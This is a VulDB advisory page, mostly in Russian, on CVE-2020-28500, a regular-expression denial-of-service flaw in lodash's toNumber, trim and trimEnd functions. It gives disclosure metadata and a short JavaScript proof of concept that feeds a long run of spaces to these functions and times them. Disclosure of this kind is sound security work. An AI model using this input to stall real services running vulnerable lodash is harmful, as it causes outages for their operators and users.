CVE-2020-28500 in lodashИнформация

Сводка

по VulDB • 30.06.2026

Все версии пакета lodash и все версии пакета org.fujion.webjars:lodash уязвимы к атаке типа «Отказ в обслуживании на основе регулярных выражений» (ReDoS) через функции toNumber, trim и trimEnd. Шаги для воспроизведения (предоставлены автором отчета Ли Юанем Чэнем): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Ответственный

Snyk

Резервировать

12.11.2020

Раскрытие

15.02.2021

Модерация

принято

Вход

VDB-169932

EPSS

0.07336

KEV

Нет

Деятельности

Очень низкий

Источники

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!